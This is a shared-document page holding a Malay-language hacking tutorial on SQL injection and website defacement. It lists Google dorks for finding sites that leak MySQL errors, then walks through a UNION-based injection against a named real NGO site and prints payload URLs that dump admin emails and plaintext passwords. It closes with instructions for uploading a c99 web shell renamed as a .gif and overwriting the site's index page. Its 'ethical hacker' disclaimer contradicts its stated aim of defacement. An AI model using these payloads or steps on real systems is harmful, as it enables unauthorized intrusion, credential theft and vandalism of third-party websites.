Embed
Email

Sql injection

Document Sample
Sql injection
Shared by: adam fikri
Stats
views:
226
posted:
12/22/2011
language:
pages:
5
Pengenalan apa itu SQL injection

-------------------------------------

SQL stands for Structured Query Language. It is very high level language,I mean close to humans.

Like SELECT,INSERT,DELETE,UPDATE queries are used to select,add data,delete data,update data

respectively.SQL is used to

design the databses. The information is stored in databses.

SQL injection is the vulnerability occuring in database layer of application which allow attacker to see

the contents stored in database. This vulnerabilty occures when the user's input is not filtered or

improperly filtered.Example the webpages links in format



www.anything.com/something.php?something=something



=============================================================

(1).Buka "www.google.com"

=============================================================

(2).Taip salah satu code di bawah ini







inurl:"id=" & intext:"Warning: mysql_fetch_assoc()



inurl:"id=" & intext:"Warning: mysql_fetch_array()



inurl:"id=" & intext:"Warning: mysql_num_rows()



inurl:"id=" & intext:"Warning: session_start()



inurl:"id=" & intext:"Warning: getimagesize()



inurl:"id=" & intext:"Warning: is_writable()



inurl:"id=" & intext:"Warning: getimagesize()



inurl:"id=" & intext:"Warning: Unknown()



inurl:"id=" & intext:"Warning: session_start()



inurl:"id=" & intext:"Warning: mysql_result()



inurl:"id=" & intext:"Warning: pg_exec()



inurl:"id=" & intext:"Warning: mysql_result()



inurl:"id=" & intext:"Warning: mysql_num_rows()



inurl:"id=" & intext:"Warning: mysql_query()



inurl:"id=" & intext:"Warning: array_merge()



inurl:"id=" & intext:"Warning: preg_match()



inurl:"id=" & intext:"Warning: ilesize()



inurl:"id=" & intext:"Warning: filesize()

inurl:"id=" & intext:"Warning: require()







(3).Tekan search



(4).Akan keluar beratus-ratus website yang vuln.



(5).Pilih salah satu.



===========================================================

Cuba buka laman yang anda pilih itu,anda pasti lihat error yang berlaku seperti "Warning: mysql_fetch_assoc()" atau

"Warning: mysql_fetch_array()".Itu maknanya security website ini masih lemah dan berupaya untuk

didefacedkan.Contohnya saya mendapat web seperti ini:-



P/S: dork ni korang xperlu tambah ( ' ) simbol Apostrophe (sebab korang dah dapat tgk warning, maknanya web tu dah

vuln so boleh di inject

la)============================================================Ok first kite kene

check berape column

*nak cari column ni kite kene tambah ni pada belakang url yang vuln tu ( order+by+12)11 tu contoh kita teka yang

column tu ada 11 column, tapi kalau xde error makanya dia akan kurang dari 12

http://www.ngofoundation.org.bd/message_details.php?messsageID=9+order+by+11 (no error)

http://www.ngofoundation.org.bd/message_details.php?messsageID=9+order+by+12 (error)

============================================================

starting sql injection.. (Find most vuln column untuk inject )

* Kemudian apabila kita dah tau yang ada 11 column dalam database ni so kite kene la pulak tulis query macam ni

( +union+all+select+1,2,3,4,5,6,7,8,9,10,11-- )

http://www.ngofoundation.org.bd/message_details.php?messsageID=-9+union+all+select+1,2,3,4,5,6,7,8,9,10,11--



yah !! dh boleh !! skrg, tgk no. yg BOLD (tebal) !! no. 3 kan ?? :D

itu bermaksud, column no. 3 tu la yg paling vulnerable.. ;)

============================================================

Find DB Version ( kene check dulu ni penting)

* Pada peringkat ini, kite kene check version database dulu tambahkan query ni (

+union+all+select+1,2,@@version,4,5,6,7,8,9,10,11-- ) ( letak pada column yang paling sensitif taw)

http://www.ngofoundation.org.bd/message_details.php?messsageID=-

9+union+all+select+1,2,@@version,4,5,6,7,8,9,10,11--



dapat yg nie kn? (5.0.91-log)

p/s : Kenapa kite kene check version MYSQL? sebab version 5.0++ ke atas selalunya sesuai method injection

macam ni, tapi kalau bawah dari v5 macam v4 kite kene tukar cara lain la

=============================================================

Find Table Name ( Cari table name )



* Cari table name supaya kita boleh cari table name untuk admin atau table yang mengandungi data yang kite nak ok? ada

2 method kat sini

Gantikan pada column vuln no 3 tadi dengan ( table_name )

1)+union+select+all+1,2,table_name,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=databa

se()--



Fungsi ni cara nak cari table satu2



contoh:http://www.ngofoundation.org.bd/message_details.php?messsageID=-

9+union+select+all+1,2,table_name,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database(

)--

2) Untuk cari semua table kita gunakan ( group_concat )



contoh:

http://www.ngofoundation.org.bd/message_details.php?messsageID=-

9+union+all+select+1,2,group_concat(table_name),4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_sch

ema=database()--



pergh, dpt banyak nyer table name.. (_ _!!) tp xpe, kita nk yg pnting jer kn? :D



kita fokus ap yg kita nk, iaitu.. admin_info

=====================================================



Find Column names (fungsi xsama seperti cari berapa bilangan column, sebab yang ni kite nak tgk nama pada column

pulak)

gunakan query ni group_concat(column_name )



http://www.ngofoundation.org.bd/message_details.php?messsageID=-

9+union+all+select+1,2,group_concat(column_name),4,5,6,7,8,9,10,11+from+information_schema.columns+where+table

_schema=database()--



Ok sekarang kita dah dapat column name so ape nak buat??

p/s : utk tahu columns tu berada dlam table ap, kita tgk repeated name, dlam kes nie, repeated name ialah "id", so

maknanya, id tu sbg pemisah antara table pertama dgn kedua, nie contoh gambar hiasan

(http://2.bp.blogspot.com/_ufGdCaQ3M3k/TTV3OzgJ8nI/AAAAAAAAAHc/22ToXwESUZU/s1600/cnames.jpg)



===========================================================



.Fetching data from columns

p/s : td ak ad kata, suruh ingat admin_info kn ?? so skrg la nk guna nya.. ;)



http://www.ngofoundation.org.bd/message_details.php?messsageID=-

9+union+all+select+1,2,group_concat(email,0x3a,password),4,5,6,7,8,9,10,11+from+admin_info--



p/s : 0x3a digunakan utk meletak simbol colon atau " : " utk memisahkan email dan password..



sekarang, dah dapat admin password..



p/s : kebanyakan, password dlam bentuk md5, tp dlam kes kali nie, admin web tidak mengubah kepada md5, so lebih

mudah la utk login :)



kalau password md5, ak syorkan guna web nie utk decrypt md5



http://www.md5decrypter.co.uk



============================================================



Find Admin Panel

lpas ak cari, nie la admin panel dy..



http://www.ngofoundation.org.bd/admin/







P/S: korang boleh cari admin panel dgn tools2 yang ada kat google.

http://www.ziddu.com/download/13447800/Admin_Finder.rar.html



===========================================================

When we had successful enter admin panel

Bila berjaya masuk,anda berupaya melihat segala fail sulit atau e-mail sulit yang terdapat dalam website

berkenaan.Tetapi,tujuan kita ialah mendefaced,jadi kita beralih kepada agenda kita.Untuk mendefaced,seperti saya

sebutkan sebentar tadi,kita gunakan shell "c99.php" sebagai shell utama kita hendak mendefaced web berkenaan.Cari

apa-apa yang ditulis dalam website berkenaan upload.Jika terdapat butang yang membolehkan kita mengupload shell,ia

akan memudahkan kerja kita.Tetapi,jika tak terdapat butang yang membenarkan kita mengupload shell.Kita

harus "menipu" laman web berkenaan.Cari lagi butang yang membolehkan kita menguploadkan fail,selalunya admin hanya

dibenarkan mengupload gambar sahaja.Tetapi,tidak mengapa.Rename kembali shell "c99.php" anda

kepada"c99.php.gif".Ini akan menipu laman web berkenaan kerana laman web berkenaan akan menganggap kita cuma

mengupload gambar sahaja tetapi kita sudah mengupload shell ke website berkenaan.Buka shell berkenaan,contohnya:-







www.example.com/c99.php.gif (mengikut kepada apa extension yang anda tukar)







Bila anda buka c99.php,ia akan keluar satu page yang membolehkan kita mengawal web itu lebih daripada admin

tersebut.Ia membolehkan kita mengedit,menukar dan memadam shell yang terdapat dalam website berkenaan.Tujuan kita

adalah mengdefaced website berkenaan.Oleh itu,kita akan mengedit shell yang terdapat dalam website itu.Cari apa-apa

shell yang mungkin bernama "index.php" atau"main.php".Cari apa-apa sahaja shell yang mungkin paparan utama

website berkenaan.Contohnya,"index.php" ialah paparan utama yang keluar apabila kita membuka website

berkenaan.Jadi,shell itulah yang kita akan edit.Tekan pada "index.php" berkenaan.Akan keluar codeyang terdapat

dalam shell itu,padam semua code itu,gantikannya dengan code shell kita.Tekan save.Sekarang.Anda telah

berjaya.Cuba taip website itu untuk melihat ia berjaya atau tidak.Kalau ia berjaya,ia akan keluar paparan yang kita sudah

programkan ke dalam wesite itu.



P/S: ni tutorial yang aku combined dan edit kembali menjadi tutorial paling lengkap (pada pendapat aku la) so aku mohon

ampun dan maaf kalau ada tersalah or tersilap dalam memberikan info berdasarkan apa yang aku paham.



==========================================================

Compiled and edited by Gula2 Hacks from #Penetration, Security & Defense[PSD]



---------------------------------------------

Credit to -N30- dan APM[Angkatan Pengodam Malaysia]



------------------------------------------------------------------



Ni adalah pesanan dari -N30-

WE'RE ETHICAL HACKER!!

WE DO NOT HARM ANY WEBSITE !!

WE HACK BECAUSE WE CARE !!

WE CARE ABOUT YOUR WEBSITE SECURITY !!

DON'T HATE US !!

WE'RE SAME LIKE YOU..

BE FRIENDS WITH US !!



" AK AD LEAVE NOTE DKAT DPAN WEBSITE TU, JANGAN SIAPA2 UBAH K, AK DH AJAR KORG NIE, KIRA

BERSYUKUR LA, ITU JER AK MINTA, JANGAN UBAH AP YG AK TULIS, N KALAU KORG RASA, KORG PRO, KORG

UPLOAD LA SHELL, DEFACE MAIN PAGE, =) AK XKISAH KALAU KORG DEFACE MAIN PAGE, TP .. JANGAN

UBAH AP YG AK TULIS K!

KERJASAMA ANDA AMAT SAYA HARGAI =)'"

Pesanan: Jangan bangga dengan harta dan kekayaan, Jangan angkuh dengan ilmu didada, Jangan berniat

jahat dengan kuasa, Jangan menginaya orang yang berdosa. Kerana kita sama sebagai manusia. ^^


Related docs
Other docs by adam fikri
how to deface web
Views: 126  |  Downloads: 3
Sql injection
Views: 226  |  Downloads: 0
List of raja lawak season 6
Views: 57  |  Downloads: 0
tips untuk menghadapi ujian JPJ
Views: 11  |  Downloads: 0